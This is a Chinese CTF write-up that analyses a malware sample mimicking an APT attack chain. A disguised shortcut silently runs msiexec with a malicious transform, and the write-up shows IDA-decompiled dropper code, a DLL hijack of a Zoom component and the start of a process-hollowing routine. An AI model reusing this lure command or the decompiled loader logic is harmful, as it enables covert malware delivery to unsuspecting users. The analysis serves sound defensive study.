ISCTF 2025 病毒分析题解

前言#

零音以「スターエンド 101」队员的名义参加了 ISCTF 2025，并于周二 ALL CLEAR 病毒分析赛道的 12 道题目。病毒分析一直是零音感兴趣却从未上手尝试过的领域，故这一次借助 ISCTF 的题目初探了这一领域。

本次 ISCTF 2025 的病毒分析题目是一道极具实战意义的高质量赛题。题目高度还原了知名 APT 组织「新海莲花」的经典攻击手法：利用 .rar 压缩包配合伪装的 .lnk 快捷方式进行投递，结合 Windows Installer（.msi）的 Transform（.mst）注入技术，将恶意载荷隐藏在合法的软件安装包中。这种「白+黑」的攻击链条设计精巧，不仅绕过了常规的静态查杀，更对分析者的逆向功底和取证思维提出了双重考验。从最初的文件提取，到中间的 Dropper 分析与 DLL 劫持，再到深层的 Process Hollowing 注入，直至最终的 C2 通信复原，整个过程环环相扣。

本文将通过静态逆向与动态调试相结合的方式，抽丝剥茧，完整复盘这一条完整的 APT 攻击链，揭开隐藏在合法 Zoom 安装包背后的真相。

Stage I「隐」#

下载题目给出的附件文件 ISCTF.rar 并解压，得到如下文件：

1
┌──(zeraith㉿stella16)-[/mnt/s/ISCTF_2025/Virus_Analysis/ISCTF]
2
└─$ ls -la
3
total 7968
4
drwxrwxrwx 1 zeraith zeraith    4096 Dec  3 21:53 .
5
drwxrwxrwx 1 zeraith zeraith    4096 Dec  3 21:53 ..
6
-rwxrwxrwx 1 zeraith zeraith  786432 Dec  1 19:54 fR6Wl
7
-rwxrwxrwx 1 zeraith zeraith    2179 Dec  1 20:56 ISCTF基础规则说明文档.pdf.lnk
8
-rwxrwxrwx 1 zeraith zeraith 7368704 Dec  1 19:54 TJe1w

其中 fR6Wl 和 Tje1w 两个文件在 Windows 文件资源管理器中设置了「隐藏」属性。由于 Windows 文件资源管理器的特性，.lnk 文件在显示名称时不会显示扩展名，因此用户仅可见 ISCTF基础规则说明文档.pdf 这一部分。因此，对于经验不足的 Windows 用户而言，若未开启显示隐藏项目的功能，则看起来压缩包解压后的文件夹中仅含有一个正常的 .pdf 文件，用户极容易双击中招。

右键该 .lnk 文件并查看属性，可见其目标为

1
C:\Windows\System32\msiexec.exe /i Tje1w TRANSFORMS=fR6Wl /qn

这是一个 Windows Installer 命令行，它请求 msiexec.exe 安装一个名为 Tje1w 的 .msi 安装包，并应用一个名为 fR6Wl 的 .mst 文件来动态修改原始 .msi 包的安装行为。/qn 表示 Quiet Mode 和 No UI，这意味着整个过程将会完全静默地进行。这两个隐藏文件未使用 .msi 和 .mst 的扩展名，是为了混淆用户和杀毒软件，让后者误以为其为普通的杂项文件。

值得注意的是，倘若用户直接双击 .lnk 文件，则会弹出 UAC 弹窗提示用户是否继续。在当前场景下，若用户关闭了 UAC，则双击后计算机会直接中招。正因如此，零音非常不建议用户关闭 UAC 功能。

使用 Orca 分析 `.mst` 文件#

接下来，我们使用 Orca 分析该 .msi 和 .mst 文件。为便于分析，下文我们将 TJe1w 重命名为 base.msi，将 fR6W1 重命名为 evil.mst。

TIP

Orca 是一款用于创建和编辑 Windows Installer 包及合并模块的数据库表编辑器。该工具提供图形化的验证界面，能标出验证过程中出现错误或警告的具体条目。Orca 仅随附于 Windows SDK Components for Windows Installer Developers 包中，作为一个 .msi 存在，用户需要手动安装。

安装 Orca 后打开，在菜单栏 File > Open 后选择 base.msi，再在菜单栏 Transform > Apply Transform 并选择 evil.mst 即可。注意到左侧出现了许多 Tables，这些即为 .msi 预期对 Windows 做出的修改；而部分表的左侧出现了绿色竖线，这代表导入的 .mst 文件对 Windows 新增的修改。

考虑到一般「白+黑」的攻击策略，.msi 文件通常是正常的白文件。在本题中，base.msi 是 Zoom Remote Control Installer，是合法的 Zoom 安装包。我们确信「白」不会对 Windows 造成危害，那么，「黑」（.mst）所做出的更改则需要加以关注。我们注意到，共有 4 个表发生了更改：

表 `Binary`#

表 Binary 通常是掩藏二进制文件的地方，一般用于存储 Payload。在这里，我们发现数据 zTool 具有 Data 为二进制数据。双击 [Binary Data] 后弹出窗口 Edit Binary Stream 后选择 Action 为 Write binary to file，并指定一个 Filename 即可将二进制数据保存下来。我们将其存为 Payload.dll。

TIP

为什么是 dll？在后文中我们将提到，CustomAction Type 为 2305，即 0x900 + 1。这里，1 代表 DLL stored in a Binary table stream，即存储在 Binary 表中的 DLL 文件，而 0x900 则代表 deferred execution + no impersonation。由此可以判断出该二进制文件是 .dll——当然，对于注意力涣散的朋友，亦可先导出，后使用 file 查看类型。

表 `CustomAction`#

表 CustomAction 一般用于指定程序安装过程中的自定义行为。在这里，我们注意到条目 Action 名为 RunTools 的 CustomAction 具有 Type 为 2305（在前文已使用），其 Source 为 zTool，而 Target 为 Utils。Source 说明了它将会在运行过程中自动执行有关 Source 的内容，而 Target 作为 DLL 的导出函数名，则指出它将要执行的是 Source 的 Utils 函数。这昭示我们要逆向分析这个 DLL 的 Utils 函数。

表 `File`#

表 File 中多出了一个条目，其 FileName 为 ZRC.DLL|zRC.dll。在实际分析过程中，我们事实上并未完全清楚该文件是什么以及其用途如何，故先保留。

表 `InstallExecuteSequence`#

表 InstallExecuteSequence 指示软件安装过程中各个行为的运行顺序。这里，新增的条目 RunTools 的运行次序为 6601，即说明后门的植入将发生在安装结束后（考虑到 InstallFinalize 的 Sequence 为 6600）。

Stage II「跃」#

逆向 DLL 的 `Utils` 函数#

我们在前文提到了，我们需要逆向该 DLL 的 Utils 函数，这里我们使用 IDA Pro 完成这一点。在 IDA Pro 的左侧找到 Utils 函数，发现它由三部分构成。这里我们分别分析这三个子函数。

1
int Utils()
2
{
3
    sub_10001E70();
4
    sub_10002230();
5
    sub_10002530();
6
  return 0;
7
}

Function 1「障眼」#

1
HRSRC __usercall sub_10001E70@<eax>(int a1@<ebp>)
2
{
3
  HRSRC hResInfo; // eax
4
  HRSRC hResInfo_1; // edi
5
  HGLOBAL hResData; // esi
6
  DWORD v4; // edi
7
  LPVOID v5; // esi
8
  __int128 *v6; // eax
9
  _BYTE *v7; // edx
10
  __int128 *p_p_lpFile; // eax
11
  const WCHAR *lpFile; // eax
12
  void *p_lpFile_2; // edx
13
  int v11; // ecx
14
  int v12; // [esp-31Ch] [ebp-32Ch]
15
  int v13; // [esp-318h] [ebp-328h]
16
  int v14; // [esp-314h] [ebp-324h]
17
  _BYTE *v15; // [esp-300h] [ebp-310h]
18
  unsigned int n7; // [esp-2ECh] [ebp-2FCh]
19
  _BYTE v17[4]; // [esp-2E8h] [ebp-2F8h]
20
  int v18; // [esp-2E4h] [ebp-2F4h] BYREF
21
  int v19; // [esp-2E0h] [ebp-2F0h] BYREF
22
  void **p_??_7ios_base@std@@6B@; // [esp-27Ch] [ebp-28Ch] BYREF
23
  __int128 p_lpFile_1; // [esp-234h] [ebp-244h] BYREF
24
  __int64 v22; // [esp-224h] [ebp-234h]
25
  WCHAR pszPath_[264]; // [esp-21Ch] [ebp-22Ch] BYREF
26
  int *v24; // [esp-Ch] [ebp-1Ch]
27
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-8h] [ebp-18h]
28
  void *v26; // [esp-4h] [ebp-14h]
29
  int v27; // [esp+0h] [ebp-10h]
30
  int v28; // [esp+4h] [ebp-Ch]
31
  void *v29; // [esp+8h] [ebp-8h]
32
  int v30; // [esp+Ch] [ebp-4h] BYREF
33
  void *retaddr; // [esp+10h] [ebp+0h]
34

35
  v28 = a1;
36
  v29 = retaddr;
37
  v27 = -1;
38
  v26 = &loc_1001D986;
39
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
40
  v24 = &v30;
41
  hResInfo = FindResourceW(hModule, (LPCWSTR)0x65, L"PDF");
42
  hResInfo_1 = hResInfo;
43
  if ( hResInfo )
44
  {
45
    hResData = LoadResource(hModule, hResInfo);
46
    v4 = SizeofResource(hModule, hResInfo_1);
47
    v5 = LockResource(hResData);
48
    SHGetFolderPathW(0, 5, 0, 0, pszPath_);
49
    sub_100028D0(pszPath_);
50
    v27 = 0;
51
    v6 = (__int128 *)sub_10004CD0(aIsctf2025, 22);
52
    v22 = 0;
53
    p_lpFile_1 = 0;
54
    p_lpFile_1 = *v6;
55
    v22 = *((_QWORD *)v6 + 2);
56
    *((_DWORD *)v6 + 4) = 0;
57
    *((_DWORD *)v6 + 5) = 7;
58
    *(_WORD *)v6 = 0;
59
    LOBYTE(v27) = 2;
60
    if ( n7 > 7 )
61
    {
62
      v7 = v15;
63
      if ( 2 * n7 + 2 >= 0x1000 )
64
      {
65
        v7 = (_BYTE *)*((_DWORD *)v15 - 1);
66
        if ( (unsigned int)(v15 - v7 - 4) > 0x1F )
67
        {
68
          sub_1000A8D1(2 * n7 + 37, 0, 0, 0, 0, 0);
69
          goto LABEL_18;
70
        }
71
      }
72
      sub_10005E9C(v7);
73
    }
74
    sub_10007A70(&v18, 0, 176);
75
    p_p_lpFile = &p_lpFile_1;
76
    if ( HIDWORD(v22) > 7 )
77
      p_p_lpFile = (__int128 *)p_lpFile_1;
78
    sub_10004160(p_p_lpFile, v12, v13, v14);
79
    *(int *)((char *)&v18 + *(_DWORD *)(v18 + 4)) = (int)&std::ofstream::`vftable';
80
    *(_DWORD *)&v17[*(_DWORD *)(v18 + 4)] = *(_DWORD *)(v18 + 4) - 104;
81
    LOBYTE(v27) = 3;
82
    sub_100036F0(v5, v4, 0);
83
    if ( !sub_10004670(&v19) )
84
      sub_10001D10(
85
        *(int *)((char *)&v18 + *(_DWORD *)(v18 + 4) + 12)
86
      | (4 * (*(int *)((char *)&v18 + *(_DWORD *)(v18 + 4) + 56) == 0) + 2),
87
        0);
88
    lpFile = (const WCHAR *)&p_lpFile_1;
89
    if ( HIDWORD(v22) > 7 )
90
      lpFile = (const WCHAR *)p_lpFile_1;
91
    ShellExecuteW(0, L"open", lpFile, 0, 0, 1);
92
    *(int *)((char *)&v18 + *(_DWORD *)(v18 + 4)) = (int)&std::ofstream::`vftable';
93
    *(_DWORD *)&v17[*(_DWORD *)(v18 + 4)] = *(_DWORD *)(v18 + 4) - 104;
94
    sub_10003640();
95
    *(int *)((char *)&v18 + *(_DWORD *)(v18 + 4)) = (int)&std::ostream::`vftable';
96
    *(_DWORD *)&v17[*(_DWORD *)(v18 + 4)] = *(_DWORD *)(v18 + 4) - 8;
97
    LOBYTE(v27) = 4;
98
    p_??_7ios_base@std@@6B@ = &std::ios_base::`vftable';
99
    hResInfo = (HRSRC)sub_10005A57(&p_??_7ios_base@std@@6B@);
100
    if ( HIDWORD(v22) > 7 )
101
    {
102
      p_lpFile_2 = (void *)p_lpFile_1;
103
      if ( (unsigned int)(2 * HIDWORD(v22) + 2) < 0x1000 )
104
        return (HRSRC)sub_10005E9C(p_lpFile_2);
105
      p_lpFile_2 = *(void **)(p_lpFile_1 - 4);
106
      v11 = 2 * HIDWORD(v22) + 37;
107
      if ( (unsigned int)(p_lpFile_1 - (_DWORD)p_lpFile_2 - 4) <= 0x1F )
108
        return (HRSRC)sub_10005E9C(p_lpFile_2);
109
LABEL_18:
110
      sub_1000A8D1(v11, 0, 0, 0, 0, 0);
111
      JUMPOUT(0x10002194);
112
    }
113
  }
114
  return hResInfo;
115
}

下文分析函数 sub_10001E70。该函数为一个 Dropper，释放一个 .pdf 文件。

1
// 0x65 = 101 (十进制)
2
hResInfo = FindResourceW(hModule, (LPCWSTR)0x65, L"PDF");
3
hResData = LoadResource(hModule, hResInfo);
4
v5 = LockResource(hResData);  // v5 指向资源数据的指针

函数首先寻找一个 ID 为 101，类型为 PDF 的资源。

1
// CSIDL_MYDOCUMENTS = 5 (我的文档)
2
SHGetFolderPathW(0, 5, 0, 0, pszPath_);

随后，它获取用户的「文档」文件夹路径。

1
// 看起来是在把文件名拼接到路径后面
2
v6 = (__int128 *)sub_10004CD0(aIsctf2025, 22);

对于字符串 aIsctf2025，若我们直接双击进入，发现 IDA Pro 并未正确识别 UTF-8 中文字符串。

这里有一个小技巧：确保光标放在 aIsctf2025 上后，在菜单栏中点选 Options > String Literals，在弹出的窗口中点击上面的 Currently 按钮，选择 Encoding 为 UTF-16LE。很有可能我们无法一次选择正确，需要反复尝试，直到 IDA Pro 成功识别。识别成功后，自动生成的变量名可能会发生改变。

继续函数分析。

1
// C++ 的文件流操作 (std::ofstream)，把资源数据写入磁盘
2
sub_100036F0(v5, v4, 0);
3

4
// ShellExecuteW 用于执行/打开文件
5
// "open" 操作会调用系统默认的 PDF 阅读器打开它
6
ShellExecuteW(0, L"open", lpFile, 0, 0, 1);

这里，函数将内容写入文件并打开。该函数实为障眼法：在用户自认为打开了 .pdf 文件后，该函数写入并打开一个 .pdf 文件，以此欺骗用户该 .pdf 确为用户打开，从而确保其可以在后台继续进行恶意行为。

Function 2「匿身」#

1
HRSRC __usercall sub_10002230@<eax>(int a1@<ebp>)
2
{
3
  HRSRC hResInfo; // eax
4
  HRSRC hResInfo_1; // edi
5
  HGLOBAL hResData; // esi
6
  DWORD v4; // edi
7
  LPVOID v5; // esi
8
  int *n2147483646; // eax
9
  int v7; // edx
10
  int *v8; // eax
11
  _BYTE *v9; // edx
12
  __int128 *p_p_lpFile; // eax
13
  void *p_lpFile_2; // edx
14
  int v12; // ecx
15
  int v13; // [esp-320h] [ebp-32Ch]
16
  int v14; // [esp-31Ch] [ebp-328h]
17
  int v15; // [esp-318h] [ebp-324h]
18
  _BYTE *v16; // [esp-304h] [ebp-310h]
19
  unsigned int n7; // [esp-2F0h] [ebp-2FCh]
20
  _BYTE v18[4]; // [esp-2ECh] [ebp-2F8h]
21
  int v19; // [esp-2E8h] [ebp-2F4h] BYREF
22
  int v20; // [esp-2E4h] [ebp-2F0h] BYREF
23
  void **p_??_7ios_base@std@@6B@; // [esp-280h] [ebp-28Ch] BYREF
24
  __int128 p_lpFile_1; // [esp-238h] [ebp-244h] BYREF
25
  __int64 v23; // [esp-228h] [ebp-234h]
26
  WCHAR pszPath_[264]; // [esp-220h] [ebp-22Ch] BYREF
27
  int *v25; // [esp-10h] [ebp-1Ch]
28
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-Ch] [ebp-18h]
29
  void *v27; // [esp-8h] [ebp-14h]
30
  int v28; // [esp-4h] [ebp-10h]
31
  int v29; // [esp+0h] [ebp-Ch]
32
  void *v30; // [esp+4h] [ebp-8h]
33
  int v31; // [esp+8h] [ebp-4h] BYREF
34
  void *retaddr; // [esp+Ch] [ebp+0h]
35

36
  v29 = a1;
37
  v30 = retaddr;
38
  v28 = -1;
39
  v27 = &loc_1001D986;
40
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
41
  v25 = &v31;
42
  hResInfo = FindResourceW(hModule, (LPCWSTR)0x66, L"DLL");
43
  hResInfo_1 = hResInfo;
44
  if ( hResInfo )
45
  {
46
    hResData = LoadResource(hModule, hResInfo);
47
    v4 = SizeofResource(hModule, hResInfo_1);
48
    v5 = LockResource(hResData);
49
    SHGetFolderPathW(0, 42, 0, 0, pszPath_);
50
    n2147483646 = (int *)sub_100028D0(pszPath_);
51
    v28 = 0;
52
    v8 = sub_10004CD0(n2147483646, v7, L"\\ZoomRemoteControl\\bin\\zRCAppCore.dll", 0x25u);
53
    v23 = 0;
54
    p_lpFile_1 = 0;
55
    p_lpFile_1 = *(_OWORD *)v8;
56
    v23 = *((_QWORD *)v8 + 2);
57
    v8[4] = 0;
58
    v8[5] = 7;
59
    *(_WORD *)v8 = 0;
60
    LOBYTE(v28) = 2;
61
    if ( n7 > 7 )
62
    {
63
      v9 = v16;
64
      if ( 2 * n7 + 2 >= 0x1000 )
65
      {
66
        v9 = (_BYTE *)*((_DWORD *)v16 - 1);
67
        if ( (unsigned int)(v16 - v9 - 4) > 0x1F )
68
        {
69
          sub_1000A8D1(2 * n7 + 37, 0, 0, 0, 0, 0);
70
          goto LABEL_15;
71
        }
72
      }
73
      sub_10005E9C(v9);
74
    }
75
    sub_10007A70(&v19, 0, 176);
76
    p_p_lpFile = &p_lpFile_1;
77
    if ( HIDWORD(v23) > 7 )
78
      p_p_lpFile = (__int128 *)p_lpFile_1;
79
    sub_10004160(p_p_lpFile, v13, v14, v15);
80
    *(int *)((char *)&v19 + *(_DWORD *)(v19 + 4)) = (int)&std::ofstream::`vftable';
81
    *(_DWORD *)&v18[*(_DWORD *)(v19 + 4)] = *(_DWORD *)(v19 + 4) - 104;
82
    LOBYTE(v28) = 3;
83
    sub_100036F0(v5, v4, 0);
84
    if ( !sub_10004670(&v20) )
85
      sub_10001D10(
86
        *(int *)((char *)&v19 + *(_DWORD *)(v19 + 4) + 12)
87
      | (4 * (*(int *)((char *)&v19 + *(_DWORD *)(v19 + 4) + 56) == 0) + 2),
88
        0);
89
    *(int *)((char *)&v19 + *(_DWORD *)(v19 + 4)) = (int)&std::ofstream::`vftable';
90
    *(_DWORD *)&v18[*(_DWORD *)(v19 + 4)] = *(_DWORD *)(v19 + 4) - 104;
91
    sub_10003640();
92
    *(int *)((char *)&v19 + *(_DWORD *)(v19 + 4)) = (int)&std::ostream::`vftable';
93
    *(_DWORD *)&v18[*(_DWORD *)(v19 + 4)] = *(_DWORD *)(v19 + 4) - 8;
94
    LOBYTE(v28) = 4;
95
    p_??_7ios_base@std@@6B@ = &std::ios_base::`vftable';
96
    hResInfo = (HRSRC)sub_10005A57(&p_??_7ios_base@std@@6B@);
97
    if ( HIDWORD(v23) > 7 )
98
    {
99
      p_lpFile_2 = (void *)p_lpFile_1;
100
      if ( (unsigned int)(2 * HIDWORD(v23) + 2) < 0x1000 )
101
        return (HRSRC)sub_10005E9C(p_lpFile_2);
102
      p_lpFile_2 = *(void **)(p_lpFile_1 - 4);
103
      v12 = 2 * HIDWORD(v23) + 37;
104
      if ( (unsigned int)(p_lpFile_1 - (_DWORD)p_lpFile_2 - 4) <= 0x1F )
105
        return (HRSRC)sub_10005E9C(p_lpFile_2);
106
LABEL_15:
107
      sub_1000A8D1(v12, 0, 0, 0, 0, 0);
108
      JUMPOUT(0x1000252C);
109
    }
110
  }
111
  return hResInfo;
112
}

下文分析函数 sub_10002230。同上者，该函数为一个 Dropper，但释放的是真正的攻击载荷。

1
hResInfo = FindResourceW(hModule, (LPCWSTR)0x66, L"DLL");

函数加载了 ID 为 102，类型为 DLL 的资源。

1
// 42 = CSIDL_PROGRAM_FILESX86 (C:\Program Files (x86))
2
SHGetFolderPathW(0, 42, 0, 0, pszPath_);

随后它获得了 C:\Program Files (x86) 的路径。

1
sub_10004CD0(L"\\ZoomRemoteControl\\bin\\zRCAppCore.dll", 37);

之后，它拼接完整路径，并将恶意 Payload 释放到 C:\Program Files (x86)\ZoomRemoteControl\bin\zRCAppCore.dll 处。该攻击使用了 DLL 劫持：攻击者 payload.dll 通过使 Zoom 在启动时加载恶意库 zRCAppCore.dll，从而借 Zoom 执行恶意代码。后文中，zRCAppCore.dll 将作为我们的分析目标。

Function 3「灵隐」#

1
HRSRC __usercall sub_10002530@<eax>(int a1@<ebp>)
2
{
3
  HRSRC hResInfo; // eax
4
  HRSRC hResInfo_1; // edi
5
  HGLOBAL hResData; // esi
6
  DWORD v4; // edi
7
  LPVOID v5; // esi
8
  __int128 *v6; // eax
9
  _BYTE *v7; // edx
10
  __int128 *p_p_lpFile; // eax
11
  void *p_lpFile_2; // edx
12
  int v10; // ecx
13
  int v11; // [esp-320h] [ebp-32Ch]
14
  int v12; // [esp-31Ch] [ebp-328h]
15
  int v13; // [esp-318h] [ebp-324h]
16
  _BYTE *v14; // [esp-304h] [ebp-310h]
17
  unsigned int n7; // [esp-2F0h] [ebp-2FCh]
18
  _BYTE v16[4]; // [esp-2ECh] [ebp-2F8h]
19
  int v17; // [esp-2E8h] [ebp-2F4h] BYREF
20
  int v18; // [esp-2E4h] [ebp-2F0h] BYREF
21
  void **p_??_7ios_base@std@@6B@; // [esp-280h] [ebp-28Ch] BYREF
22
  __int128 p_lpFile_1; // [esp-238h] [ebp-244h] BYREF
23
  __int64 v21; // [esp-228h] [ebp-234h]
24
  WCHAR pszPath_[264]; // [esp-220h] [ebp-22Ch] BYREF
25
  int *v23; // [esp-10h] [ebp-1Ch]
26
  struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-Ch] [ebp-18h]
27
  void *v25; // [esp-8h] [ebp-14h]
28
  int v26; // [esp-4h] [ebp-10h]
29
  int v27; // [esp+0h] [ebp-Ch]
30
  void *v28; // [esp+4h] [ebp-8h]
31
  int v29; // [esp+8h] [ebp-4h] BYREF
32
  void *retaddr; // [esp+Ch] [ebp+0h]
33

34
  v27 = a1;
35
  v28 = retaddr;
36
  v26 = -1;
37
  v25 = &loc_1001D986;
38
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
39
  v23 = &v29;
40
  hResInfo = FindResourceW(hModule, (LPCWSTR)0x67, L"SC");
41
  hResInfo_1 = hResInfo;
42
  if ( hResInfo )
43
  {
44
    hResData = LoadResource(hModule, hResInfo);
45
    v4 = SizeofResource(hModule, hResInfo_1);
46
    v5 = LockResource(hResData);
47
    SHGetFolderPathW(0, 42, 0, 0, pszPath_);
48
    sub_100028D0(pszPath_);
49
    v26 = 0;
50
    v6 = (__int128 *)sub_10004CD0(L"\\ZoomRemoteControl\\bin\\zRC.dat", 30);
51
    v21 = 0;
52
    p_lpFile_1 = 0;
53
    p_lpFile_1 = *v6;
54
    v21 = *((_QWORD *)v6 + 2);
55
    *((_DWORD *)v6 + 4) = 0;
56
    *((_DWORD *)v6 + 5) = 7;
57
    *(_WORD *)v6 = 0;
58
    LOBYTE(v26) = 2;
59
    if ( n7 > 7 )
60
    {
61
      v7 = v14;
62
      if ( 2 * n7 + 2 >= 0x1000 )
63
      {
64
        v7 = (_BYTE *)*((_DWORD *)v14 - 1);
65
        if ( (unsigned int)(v14 - v7 - 4) > 0x1F )
66
        {
67
          sub_1000A8D1(2 * n7 + 37, 0, 0, 0, 0, 0);
68
          goto LABEL_15;
69
        }
70
      }
71
      sub_10005E9C(v7);
72
    }
73
    sub_10007A70(&v17, 0, 176);
74
    p_p_lpFile = &p_lpFile_1;
75
    if ( HIDWORD(v21) > 7 )
76
      p_p_lpFile = (__int128 *)p_lpFile_1;
77
    sub_10004160(p_p_lpFile, v11, v12, v13);
78
    *(int *)((char *)&v17 + *(_DWORD *)(v17 + 4)) = (int)&std::ofstream::`vftable';
79
    *(_DWORD *)&v16[*(_DWORD *)(v17 + 4)] = *(_DWORD *)(v17 + 4) - 104;
80
    LOBYTE(v26) = 3;
81
    sub_100036F0(v5, v4, 0);
82
    if ( !sub_10004670(&v18) )
83
      sub_10001D10(
84
        *(int *)((char *)&v17 + *(_DWORD *)(v17 + 4) + 12)
85
      | (4 * (*(int *)((char *)&v17 + *(_DWORD *)(v17 + 4) + 56) == 0) + 2),
86
        0);
87
    *(int *)((char *)&v17 + *(_DWORD *)(v17 + 4)) = (int)&std::ofstream::`vftable';
88
    *(_DWORD *)&v16[*(_DWORD *)(v17 + 4)] = *(_DWORD *)(v17 + 4) - 104;
89
    sub_10003640();
90
    *(int *)((char *)&v17 + *(_DWORD *)(v17 + 4)) = (int)&std::ostream::`vftable';
91
    *(_DWORD *)&v16[*(_DWORD *)(v17 + 4)] = *(_DWORD *)(v17 + 4) - 8;
92
    LOBYTE(v26) = 4;
93
    p_??_7ios_base@std@@6B@ = &std::ios_base::`vftable';
94
    hResInfo = (HRSRC)sub_10005A57(&p_??_7ios_base@std@@6B@);
95
    if ( HIDWORD(v21) > 7 )
96
    {
97
      p_lpFile_2 = (void *)p_lpFile_1;
98
      if ( (unsigned int)(2 * HIDWORD(v21) + 2) < 0x1000 )
99
        return (HRSRC)sub_10005E9C(p_lpFile_2);
100
      p_lpFile_2 = *(void **)(p_lpFile_1 - 4);
101
      v10 = 2 * HIDWORD(v21) + 37;
102
      if ( (unsigned int)(p_lpFile_1 - (_DWORD)p_lpFile_2 - 4) <= 0x1F )
103
        return (HRSRC)sub_10005E9C(p_lpFile_2);
104
LABEL_15:
105
      sub_1000A8D1(v10, 0, 0, 0, 0, 0);
106
      JUMPOUT(0x1000282C);
107
    }
108
  }
109
  return hResInfo;
110
}

下文分析函数 sub_10002530。

1
// 0x67 = 103 (十进制)
2
hResInfo = FindResourceW(hModule, (LPCWSTR)0x67, L"SC");

该函数读取一个 ID 为 103 的 SC 类型资源。

1
sub_10004CD0(L"\\ZoomRemoteControl\\bin\\zRC.dat", 30);

随后将其释放到 C:\Program Files (x86)\ZoomRemoteControl\bin\zRC.dat 中。考虑到后缀名为 .dat，我们认为它可能是加密的数据或二进制代码。

使用 Resource Hacker 提取文件#

根据前文，我们在 Resource Hacker 中加载 payload.dll，并从中提取出我们所需的两个文件，其一为 DLL 中 ID 为 102 的 zRCAppCore.dll，另一为 SC 中 ID 为 103 的 zRC.dat。

例如，提取 zRCAppCore.dll 时，我们在 Resource Hacker 的左侧列表中右键 DLL 下的 102 : 2052，并点击 “Save .bin resource…” 以将目标文件提取并保存到工作目录下。

分析 `zRCAppCore.dll`#

提取结束后，我们在 IDA Pro 中打开 zRCAppCore.dll，从入口点函数 DllEntryPoint 展开分析。

1
BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
2
{
3
    if ( fdwReason == 1 )
4
        sub_100018BE();
5
    return sub_100015F2(hinstDLL, fdwReason, lpReserved);
6
}

其中 sub_100018BE() 是 Stack Canary，故我们继续分析 sub_100015F2。

1
int __cdecl sub_100015F2(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
2
{
3
    void *lpReserved_1; // ebx
4
    int v5; // esi
5
    int v6; // eax
6

7
    if ( !fdwReason && dword_1001B908 <= 0 )
8
        return 0;
9
    if ( fdwReason != 1 && fdwReason != 2 )
10
    {
11
        lpReserved_1 = lpReserved;
12
LABEL_9:
13
        v6 = sub_100013B0(hinstDLL, fdwReason, lpReserved_1);
14
        v5 = v6;
15
        if ( fdwReason == 1 && !v6 )
16
        {
17
            sub_100013B0(hinstDLL, 0, lpReserved_1);
18
            sub_1000153B(lpReserved_1 != 0);
19
            sub_10001700(hinstDLL, 0, lpReserved_1);
20
        }
21
        if ( !fdwReason || fdwReason == 3 )
22
        {
23
            v5 = sub_100013DE(hinstDLL, fdwReason, lpReserved_1);
24
        if ( v5 )
25
            return sub_10001700(hinstDLL, fdwReason, lpReserved_1);
26
        }
27
        return v5;
28
    }
29
    lpReserved_1 = lpReserved;
30
    v5 = sub_10001700(hinstDLL, fdwReason, lpReserved);
31
    if ( v5 )
32
    {
33
        v5 = sub_100013DE(hinstDLL, fdwReason, lpReserved);
34
        if ( v5 )
35
          goto LABEL_9;
36
    }
37
    return v5;
38
}

分析可得 LABEL_9 处调起的 sub_100013B0 为该 .dll 文件的主要业务逻辑函数，故我们继续分析该函数。

1
int __stdcall sub_100013B0(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
2
{
3
    if ( fdwReason == 1 )
4
    {
5
        sub_10001050();
6
        ExitProcess(0);
7
    }
8
    return 1;
9
}

继续跟踪 sub_10001050。简要分析后可知，该函数是一段典型的进程空心化 / 傀儡进程（Process Hollowing）恶意代码，这是一种注入技术，用来在合法进程的掩护下执行恶意代码。下面对该函数的行为进行剖析：

1
BOOL sub_10001050()
2
{
3
  HMODULE hModule; // eax
4
  _BYTE *v1; // eax
5
  HANDLE hFile; // esi
6
  _DWORD *lpBuffer; // edi
7
  SIZE_T nNumberOfBytesToRead_1; // esi
8
  char *v5; // esi
9
  HMODULE hModule_1; // eax
10
  FARPROC NtUnmapViewOfSection; // eax
11
  LPVOID *v8; // edx
12
  void *lpBaseAddress; // eax
13
  int v10; // esi
14
  SIZE_T nSize; // [esp-8h] [ebp-688h]
15
  SIZE_T nNumberOfBytesToRead; // [esp+8h] [ebp-678h]
16
  signed int nNumberOfBytesToReada; // [esp+8h] [ebp-678h]
17
  char *v15; // [esp+Ch] [ebp-674h]
18
  _PROCESS_INFORMATION ProcessInformation; // [esp+10h] [ebp-670h] BYREF
19
  int Buffer; // [esp+2Ch] [ebp-654h] BYREF
20
  CONTEXT Context; // [esp+30h] [ebp-650h] BYREF
21
  DWORD NumberOfBytesRead; // [esp+304h] [ebp-37Ch] BYREF
22
  _STARTUPINFOA StartupInfo; // [esp+308h] [ebp-378h] BYREF
23
  _DWORD zRC.dat_[3]; // [esp+354h] [ebp-32Ch] BYREF
24
  CHAR Filename[264]; // [esp+360h] [ebp-320h] BYREF
25
  char v23[264]; // [esp+468h] [ebp-218h] BYREF
26
  CHAR FileName[268]; // [esp+570h] [ebp-110h] BYREF
27

28
  Context.ContextFlags = 65543;
29
  memset(&StartupInfo.lpReserved, 0, 40);
30
  ProcessInformation = 0;
31
  StartupInfo.cb = 68;
32
  StartupInfo.dwFlags = 1;
33
  memset(&StartupInfo.wShowWindow, 0, 20);
34
  hModule = GetModuleHandleW(L"zRCAppCore.dll");
35
  if ( GetModuleFileNameA(hModule, Filename, 0x104u) )
36
  {
37
    v1 = (_BYTE *)sub_10002120(Filename, 92);
38
    if ( v1 )
39
    {
40
      *v1 = 0;
41
      sub_10006410(v23, 260, Filename);
42
      strcpy((char *)zRC.dat_, "zRC.dat");
43
      sub_10001010(FileName, 260, "%s\\%s", v23, (const char *)zRC.dat_);
44
    }
45
  }
46
  CreateProcessA(0, (LPSTR)"C:\\Windows\\System32\\dllhost.exe", 0, 0, 0, 4u, 0, 0, &StartupInfo, &ProcessInformation);
47
  hFile = CreateFileA(FileName, 0x80000000, 1u, 0, 3u, 0, 0);
48
  nNumberOfBytesToRead = GetFileSize(hFile, 0);
49
  lpBuffer = VirtualAlloc(0, nNumberOfBytesToRead, 0x3000u, 4u);
50
  ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, &NumberOfBytesRead, 0);
51
  CloseHandle(hFile);
52
